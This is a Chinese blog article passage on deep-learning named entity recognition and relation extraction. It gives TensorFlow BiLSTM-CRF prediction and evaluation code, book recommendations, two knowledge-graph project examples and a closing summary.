            :param lr:
            :param dropout:
            :return: feed_dict
            """
            #获取填充0后的句子序列样本(使得每个句子填充0后长度一致),同时记录每个句子实际长度
            #例如:s = [['3','1','6','34','66','8'],['3','1','34','66','8'],['3','1','6','34']]
            #返回为[['3', '1', '6', '34', '66', '8'], ['3', '1', '34', '66', '8', 0], ['3', '1', '6', '34', 0, 0]],长度为 [6, 5, 4]
            word_ids, seq_len_list = pad_sequences(seqs, pad_mark=0)
            feed_dict = {self.word_ids: word_ids,
                         self.sequence_lengths: seq_len_list}
            if labels is not None:
                #为标签序列填充0并返回每个句子标签的实际长度
                labels_, _ = pad_sequences(labels, pad_mark=0)
                feed_dict[self.labels] = labels_
            if lr is not None:
                feed_dict[self.lr_pl] = lr
            if dropout is not None:
                feed_dict[self.dropout_pl] = dropout
            return feed_dict, seq_len_list
    
        def dev_one_epoch(self, sess, dev):
            """
            :param sess:
            :param dev:
            :return:
            """
            label_list, seq_len_list = [], []
            for seqs, labels in batch_yield(dev, self.batch_size, self.vocab, self.tag2label, shuffle=False):
                label_list_, seq_len_list_ = self.predict_one_batch(sess, seqs)
                label_list.extend(label_list_)
                seq_len_list.extend(seq_len_list_)
            return label_list, seq_len_list
    
        #预测一批数据集
        def predict_one_batch(self, sess, seqs):
            """
            :param sess:
            :param seqs:
            :return: label_list
                     seq_len_list
            """
            #将样本进行整理(填充0方式使得每句话长度一样,并返回每句话实际长度)
            feed_dict, seq_len_list = self.get_feed_dict(seqs, dropout=1.0)
            #若使用CRF
            if self.CRF:
                logits, transition_params = sess.run([self.logits, self.transition_params],
                                                     feed_dict=feed_dict)
                label_list = []
                for logit, seq_len in zip(logits, seq_len_list):
                    viterbi_seq, _ = viterbi_decode(logit[:seq_len], transition_params)
                    label_list.append(viterbi_seq)
                return label_list, seq_len_list
            else:
                label_list = sess.run(self.labels_softmax_, feed_dict=feed_dict)
                return label_list, seq_len_list
    
        def evaluate(self, label_list, seq_len_list, data, epoch=None):
            """
            :param label_list:
            :param seq_len_list:
            :param data:
            :param epoch:
            :return:
            """
            label2tag = {}
            for tag, label in self.tag2label.items():
                label2tag[label] = tag if label != 0 else label
            model_predict = []
            for label_, (sent, tag) in zip(label_list, data):
                tag_ = [label2tag[label__] for label__ in label_]
                sent_res = []
                if  len(label_) != len(sent):
                    print(sent)
                    print(len(label_))
                    print(tag)
                for i in range(len(sent)):
                    sent_res.append([sent[i], tag[i], tag_[i]])
                model_predict.append(sent_res)
            epoch_num = str(epoch+1) if epoch != None else 'test'
            label_path = os.path.join(self.result_path, 'label_' + epoch_num)
            metric_path = os.path.join(self.result_path, 'result_metric_' + epoch_num)
            for _ in conlleval(model_predict, label_path, metric_path):
                self.logger.info(_)
    

    十七、推荐阅读书籍

      非常能够感谢你能够通读整片文章,本人将针对基于深度学习的命名实体识别与关系抽取为主题,推荐学习文献或书籍。

    17.1 推荐的书籍

    (1)《统计学习方法》(李航)
      这本书是主要针对自然语言处理领域编写的统计学习方法。统计学习方法又叫做统计机器学习。这本书很细致的讲解了几大典型的机器学习算法,同时针对每一种算法的模型进行了相关推导。另外书中还细讲了图概率模型、隐马尔可夫模型和条件随机场,这对于理解命名实体识别非常有利。
    在这里插入图片描述
    (2)《机器学习》(周志华)
      南京大学人工智能实验室的主任周志华在机器学习和大数据挖掘领域内是国内外知名的“大佬”,他出版的《机器学习》西瓜书已经成为IT领域内的畅销书。本人阅读了该书,认为该书对数学理论要求非常高,因此这本书需要在对基本的机器学习知识有所了解之后才适合读。因此较为合理的应先阅读《统计学习方法》后再阅读《机器学习》。
    在这里插入图片描述
    (3)《深度学习》([美] 伊恩·古德费洛)
      《深度学习》是美国数学家伊恩·古德费洛所编写,由人民邮电出版社出版。该书主要以深度学习为主,再简单介绍了机器学习的知识后,对深度学习进行了多角度的分析,并介绍了多层感知机BP神经网络、循环神经网络、卷积神经网络、计算图等内容,是深度学习领域内非常权威的书籍。因此在学习完基本的机器学习内容之后,学习深度学习是必要的。
    在这里插入图片描述
    (4)另外推荐几本数学类书籍,对数学方面薄弱的或者没有学习的读者提供学习的方向:
    《微积分》、《线性代数·同济版》、《矩阵论·华科版》、《最优化方法及其应用》、《最优控制》等。

    十八、项目实例1

      项目名称:面向智慧农业的知识图谱及其应用系统
      研究课题:上海市《农业信息服务平台及农业大数据综合利用研究》之《上海农业农村大数据共享服务平台建设和应用》
      项目团队:华东师范大学数据科学与工程学院
      项目开源:https://github.com/qq547276542/Agriculture_KnowledgeGraph
      运行界面:项目部署可参考GitHub上的README。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    十九、项目实例2:智学AI·基于深度学习的学科知识图谱

    本项目为博主的本科毕业设计,网站网址为:https://www.wjn1996.cn/zxai/index。项目截图如下:
    管理系统:
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    学生平台
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    二十、总结

      本文章(专栏)讲述了基于深度学习的命名实体识别与关系抽取,细致的介绍了相关概念、涉及的模型以及通过公式推导和例子来对模型进行分析,最后给出源码和项目实例。
      本人在研究知识图谱过程中,对知识图谱的关键步骤——知识抽取花了大量的时间,研究了深度神经网络模型、循环神经网络模型,长期记忆模型,在了解相关模型后认识到了编码解码问题,而神经网络充当着编码,因此解决解码问题就用到了概率图模型(当然LSTM也可以解码)。
      命名实体识别问题可以被认为是序列标注问题,关系抽求可以被认为是监督分类问题。在2017年几篇端到端模型的文章纷纷呈现,打破了传统的pipeline模型,在实验效果上非常出色。几种端到端模型包括Bi-LSTM+LSTM+Text-CNN,Bi-LSTM+LSTM,Bi-LSTM+Independency-Tree等,这些模型目的是在命名实体抽取的过程中一并将关系挖掘出来,因此在模型的运行效率上有很大的改善。
      除了端到端模型,一种基于注意力机制的模型映入眼帘,在几篇学术论文中声称其模型比端到端模型更优,在实验中也得到了体现。基于注意力机制模型还需要进行深入的研究。
      关于基于深度学习的知识抽取,本文便到此结束,今后会不断根据学术论文的情况进行更新或添加。


      博主同文:基于深度学习的命名实体识别与关系抽取;更多文章可点击阅读:夏栀的博客

    展开全文
  • 驼峰命名与下划线命名互转

    万次阅读 2017-11-18 16:57:01
    * 下划线命名转为驼峰命名 * * @param para * 下划线命名的字符串 */ public static String UnderlineToHump(String para){ StringBuilder result=new StringBuilder(); String a[]=para.split(&...
  • 1、经典的三层架构 (这不合理,太复杂的分层会导致混乱,《阿里巴巴手册》还是很有问题的。) 分层领域模型规约: DO( Data Object):与数据库表结构一一对应,通过DAO层向上传输数据源对象。...
  • 命名实体:中文命名实体识别简介

    千次阅读 2018-01-22 10:46:00
    一、概念 1、实体 一切具有特定属性集合的物体都可以称为实体。 ...2、命名实体 ...一般包括三大类(实体类、时间类、数字类),七小类(人名、机构名、地名、时间、日期、...(1)各类命名实体没有严格的命名规范
  • Java 标识符与命名规范

    万次阅读 2020-07-02 21:41:46
    Java 标识符与命名规范Java标识符Java命名规范 Java标识符 Java命名规范
  • 驼峰命名

    千次阅读 2019-05-12 15:19:40
    如同酒店会给每个房间起个性化的名字一样,程序中的变量也需要用合理的名字进行...以下变量的命名都是符合规范的: 但请看下面的代码,你懂得哈: 优秀攻城师的习惯: 1、变量名由多单词组成时,第一个单词...
  • Java:类名的命名规则

    万次阅读 2018-08-23 17:07:33
    Java 中定义类名的规则很宽松。名字必须以字母开头,后面可以跟字母和数字的任意组合。 长度基本上没有限制。但是不能使用 Java 保留字(例如,public 或 class)作为类名。 Java 保留字请参看下面的文章。...
  • 匈牙利命名: 开头字母用变量类型的缩写,其余部分用变量的英文或英文的缩写,要求单词第一个字母大写。 ex: int iMyAge; “i”是int类型的缩写; char cMyName[10]; “c”是char类型的缩写; float ...
  • Java命名规范1、变量、方法名:首字母小写+驼峰原则private int myWeek;public void testName(){} 2、常量:大写字母+下划线private final int MAX_VALUE;3、类名:首字母大写+驼峰原则 class MyClass{}
  • -- 指定spring配置文件的根元素和Schema并导入p:命名空间的元素 --> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:c="http://www.springframework.org/schema/c" xsi:schemaLocation=...
  • 基于BERT预训练的中文命名实体识别TensorFlow实现

    万次阅读 多人点赞 2019-01-03 11:58:25
    BERT-BiLSMT-CRF-NER Tensorflow solution of ...使用谷歌的BERT模型在BLSTM-CRF模型上进行预训练用于中文命名实体识别的Tensorflow代码’ 代码已经托管到GitHub 代码传送门 大家可以去clone 下来亲自体验一下! g...
  • 最近在做一个项目,需要C#与C++通信,因此没有用WCF,公司决定用命名管道来解决 进程之间通信,我目前是C#与C#之间使用命名管道进行测试,使用命名管道进行数据传输 很简单,但真正用到项目中会有以下问题: 1. 如何...
  • 漫谈程序员(九)版本命名规范

    万次阅读 2015-11-30 11:26:23
    项目开发过程中,工程版本命名在所难免,下面简要介绍一下版本命名的规范。 Base:此版本表示该软件仅仅是一个假页面链接,通常包括所有的功能和页面布局,但是页面中的功能都没有做完整的实现,只是做为整体网站的...
  • 大驼峰命名法和小驼峰命名

    万次阅读 多人点赞 2018-12-13 11:31:03
    我们在做项目的时候,命名格式必须统一,这样才会方便不同人之间的编码阅读!,所以今天就来说一下驼峰命名法! 骆峰式命名法(Camel-Case)是电脑程式编写时的一套命名规则(惯例)。 骆峰式命名法就是当变量名或...
  • XML命名规则

    千次阅读 2015-01-14 08:44:04
    XML = Extensible Markup Language,可扩展标记语言   XML 标签对大小写敏感,XML 标签对大小写敏感。在XML 中,标签 与标签 是不同的。 必须使用相同的大小写来编写打开标签和关闭标签 XML 必须正确地嵌套 ...
  • Python 命名风格、命名指南、类命名

    千次阅读 2018-06-25 11:21:50
    Python中使用的命名风格包括: 常量:使用大写,如果需要可以加下划线 私有变量:使用前缀下划线加字母 函数和方法:使用小写,如果需要可以加下划线 参数:使用小写,如果需要可以加下划线 类:驼峰式命名。如果...
  • SpringBoot Mybatis 的驼峰命名 开启驼峰命名的方法 第一种方式: 可以在配置类中进行配置。配置的Demo如下: @Bean(name="sqlSessionFactory") public SqlSessionFactory sqlSessionFactory(@Qualifier...
  • 程序员:这10种糟糕的程序命名,你遇到过几个?

    万次阅读 多人点赞 2019-12-10 19:44:48
    这10个极其糟糕的程序命名,你遇到几个? 有人问:规范的命名风格真的能让你程序员少出bug? 当遇到这方面的教训时,就会想到这句话还是有点道理的。 不要觉得中文命名不可思议,我以前也是这样觉得居然还有中文命名...
  • PHP命名规范

    千次阅读 2018-08-15 18:45:34
    类中命名命名 使用大写字母作为词的分割,其他的字母均使用小写。 名字的首字母使用大写。 不要使用下划线('_')。 如:Name、SuperMan、BigClassObject。 类属性命名 属性命名应该以字符‘m’为前缀。 ...
  • C#命名空间

    千次阅读 2011-08-19 16:17:31
     命名空间提供了一种组织相关类和其他类型的方式。与文件或组件不同,命名空间是一种逻辑组合,而不是物理组合。在C#文件中定义类时,可以把它包括在命名空间定义中。以后,在定义另一个类,在另
  • .NET 命名规范

    千次阅读 2010-06-10 11:00:00
    关于.NET 命名规范 ,msdn给出了一些具体的指南,但是稍有遗漏是关于变量的命名规范:方法或函数中的变量应使用Camel Case, 匈牙利命名法已经out了,因为VS都有智能感知功能,鼠标放上去就可以知道变量的类型...
  • 命名实体类

    千次阅读 2017-07-03 00:32:39
    什么是命名实体识别:命名实体识别是将文本中的元素分成预先定义的类,如人名、地名、 机构名、时间、货币等等。作为自然语言的承载信息单位,命名实体识别 属于文本信息处理的基础的研究领域,是信息抽取、信息检索...

空空如也

1 2 3 4 5 ... 20
收藏数 288,992
精华内容 115,596
关键字:

命名